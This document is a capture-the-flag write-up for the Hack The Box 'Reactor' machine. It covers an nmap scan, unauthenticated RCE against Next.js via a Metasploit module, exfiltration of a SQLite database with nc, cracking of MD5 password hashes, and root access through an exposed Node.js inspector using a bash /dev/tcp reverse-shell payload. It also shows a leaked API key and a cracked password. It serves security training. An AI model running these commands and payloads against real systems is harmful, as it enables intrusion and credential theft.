Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Reactor]
└─$ nmap -sC -sV -Pn 10.129.245.214 -oN ./nmap.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-26 06:43 +0000
Nmap scan report for 10.129.245.214
Host is up (0.79s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Tue, 26 May 2026 06:46:38 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Tue, 26 May 2026 06:46:45 GMT
| Connection: close
| Help, NCP:
| HTTP/1.1 400 Bad Request
| Connection: close
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Tue, 26 May 2026 06:46:47 GMT
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.99%I=7%D=5/26%Time=6A154120%P=aarch64-unknown-linux-gn
SF:u%r(GetRequest,14D8,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Ro
SF:uter-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefet
SF:ch,\x20Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:
SF:\x201\r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.j
SF:s\r\nCache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd
SF:8t\"\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x2017175\r\nDate:\x20Tue,\x2026\x20May\x202026\x2006:46:38\x20GMT\r\nC
SF:onnection:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head
SF:><meta\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"wi
SF:dth=device-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20
SF:href=\"/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"n
SF:ext\"/><link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low
SF:\"\x20href=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><scri
SF:pt\x20src=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20asy
SF:nc=\"\"></script><script\x20src=\"/_next/static/chunks/517-d083b552e04d
SF:ead1\.js\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTT
SF:POptions,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Ne
SF:xt-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-P
SF:refetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private
SF:,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x
SF:20Tue,\x2026\x20May\x202026\x2006:46:45\x20GMT\r\nConnection:\x20close\
SF:r\n\r\n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary
SF::\x20RSC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-R
SF:outer-Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Cont
SF:rol:\x20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revali
SF:date\r\nDate:\x20Tue,\x2026\x20May\x202026\x2006:46:47\x20GMT\r\nConnec
SF:tion:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.41 seconds
HTTP - TCP 3000
index page

From Wappalyzer,we can get the version of Next.js 15.0.3
We can easily find the exploits of this version CVE-2025-55182, also there is the exploit script from msf
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RHOST 10.129.245.214
RHOST => 10.129.245.214
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set LHOST 10.10.16.6
LHOST => 10.10.16.6
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > test
[*] exec: test
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > run
[*] Started reverse TCP handler on 10.10.16.6:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (10.10.16.6:4444 -> 10.129.245.214:50578) at 2026-05-26 06:53:02 +0000
id
uid=999(node) gid=988(node) groups=988(node)
whoami
node
Switch to engineer
From /etc/passwd, we can find another valid user in the target
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
node:x:999:988::/home/node:/usr/sbin/nologin
_laurel:x:996:987::/var/log/laurel:/bin/false
Also from the default directory, we can find a data set and .env
ls -al
total 76
drwxr-xr-x 5 node node 4096 Dec 28 21:05 .
drwxr-xr-x 4 root root 4096 Apr 27 11:26 ..
drwxr-xr-x 2 node node 4096 Dec 28 20:47 app
-rw-r--r-- 1 node node 276 Dec 28 21:05 .env
drwxr-xr-x 7 node node 4096 Dec 28 20:47 .next
-rw-r--r-- 1 node node 172 Dec 28 20:47 next.config.js
drwxr-xr-x 30 node node 4096 Dec 28 20:47 node_modules
-rw-r--r-- 1 node node 269 Dec 28 20:47 package.json
-rw-r--r-- 1 node node 29329 Dec 28 20:47 package-lock.json
-rw-r----- 1 node node 12288 Dec 28 21:03 reactor.db
pwd
/opt/reactor-app
cat .env
# ReactorWatch Configuration
# Database connection for sensor data
DB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3
# API Keys
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
# Node environment
NODE_ENV=production
We can try to download the data set to our local machine and check what is inside
From the target machine
nc <attacker ip> 443 < reactor.db
From the attacker machine
nc -lnvp 443 > reactor.db
Now we can use sqlite3to check the database
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Reactor]
└─$ sqlite3 reactor.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
sensor_logs users
sqlite> select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
The password can be cracked easily engineer:reactor1

Then we can use ssh to get the shell as engineer
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Reactor]
└─$ ssh engineer@10.129.245.214
The authenticity of host '10.129.245.214 (10.129.245.214)' can't be established.
ED25519 key fingerprint is: SHA256:9v9mCPC4gn2EN/IbKKwhV8KZoNVTsVPorFhlTkNByPM
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.245.214' (ED25519) to the list of known hosts.
engineer@10.129.245.214's password:
____ _____ _ ____ _____ ___ ____
| _ \| ____| / \ / ___|_ _/ _ \| _ \
| |_) | _| / _ \| | | || | | | |_) |
| _ <| |___ / ___ \ |___ | || |_| | _ <
|_| \_\_____/_/ \_\____| |_| \___/|_| \_\
ReactorWatch Core Monitoring System
Nuclear Dynamics Corp. - Site 7
AUTHORIZED PERSONNEL ONLY
Last login: Tue May 26 07:05:13 2026 from 10.10.16.6
engineer@reactor:~$ whoami
engineer
Privilege Escalation
I would check sudo -lfirstly
engineer@reactor:~$ sudo -l
[sudo] password for engineer:
Sorry, user engineer may not run sudo on reactor.
Nothing helpful here.
Continue to check the network state
engineer@reactor:~$ netstat -ntlp
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9229 0.0.0.0:* LISTEN -
tcp6 0 0 :::3000 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Port 9229 seems interesting here
engineer@reactor:~$ curl 127.0.0.1:9229
WebSockets request was expected
engineer@reactor:~$ curl http://127.0.0.1:9229/json
[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:9229/fc9a895d-6a9f-47f6-9271-2c35143fdfa8",
"devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/fc9a895d-6a9f-47f6-9271-2c35143fdfa8",
"faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
"id": "fc9a895d-6a9f-47f6-9271-2c35143fdfa8",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"url": "file:///opt/uptime-monitor/worker.js",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/fc9a895d-6a9f-47f6-9271-2c35143fdfa8"
} ]
Port 9229 is the debug interface opened when Node.js starts with --inspect or --inspect-brk.
To help us enumerate more easily, I would port forwarding to our local machine and use wscatto interact with that.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Reactor]
└─$ ssh engineer@10.129.245.214 -L 9229:localhost:9229
engineer@10.129.245.214's password:
____ _____ _ ____ _____ ___ ____
| _ \| ____| / \ / ___|_ _/ _ \| _ \
| |_) | _| / _ \| | | || | | | |_) |
| _ <| |___ / ___ \ |___ | || |_| | _ <
|_| \_\_____/_/ \_\____| |_| \___/|_| \_\
ReactorWatch Core Monitoring System
Nuclear Dynamics Corp. - Site 7
AUTHORIZED PERSONNEL ONLY
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Reactor]
└─$ wscat -c ws://127.0.0.1:9229/fc9a895d-6a9f-47f6-9271-2c35143fdfa8
Connected (press CTRL+C to quit)
> {"id":4,"method":"Runtime.evaluate","params":{"expression":"JSON.stringify(process.env)"}}
< {"id":4,"result":{"result":{"type":"string","value":"{\"LANG\":\"en_US.UTF-8\",\"PATH\":\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin\",\"USER\":\"root\",\"LOGNAME\":\"root\",\"HOME\":\"/root\",\"SHELL\":\"/usr/bin/bash\",\"INVOCATION_ID\":\"94c3067735f14671ba9d60a5bd18ca13\",\"JOURNAL_STREAM\":\"8:18160\",\"SYSTEMD_EXEC_PID\":\"1418\",\"MEMORY_PRESSURE_WATCH\":\"/sys/fs/cgroup/system.slice/uptime-monitor.service/memory.pressure\",\"MEMORY_PRESSURE_WRITE\":\"c29tZSAyMDAwMDAgMjAwMDAwMAA=\"}"}}}
We can find that
USER=root — The worker process is run by root, so it is executed by root.
Now we can try to run the reverse shell
{"id":5,"method":"Runtime.evaluate","params":{"expression":"process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/10.10.16.6/4444 0>&1\"')"}}
Now we can get the shell as root
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Reactor]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.6] from (UNKNOWN) [10.129.245.214] 39414
bash: cannot set terminal process group (1418): Inappropriate ioctl for device
bash: no job control in this shell
root@reactor:/# whoami
whoami
root
root@reactor:/# id
id
uid=0(root) gid=0(root) groups=0(root)
Description
Reactor is an Easy difficulty Linux machine that demonstrates modern web framework exploitation, credential reuse through database extraction, and privilege escalation via exposed debugging interfaces. The machine features a Next.js 15.0.3 application vulnerable to an unauthenticated remote code execution flaw (CVE-2025-55182), allowing initial foothold as the node service account. Lateral movement involves extracting a SQLite database containing MD5-hashed user credentials, cracking the engineer user's password offline, and authenticating via SSH. Privilege escalation leverages an exposed Node.js Inspector debug port (9229) bound to localhost, where a worker.js process running as root can be hijacked through the V8 Debugger Protocol over WebSocket, executing arbitrary commands via Runtime.evaluate to spawn a root reverse shell.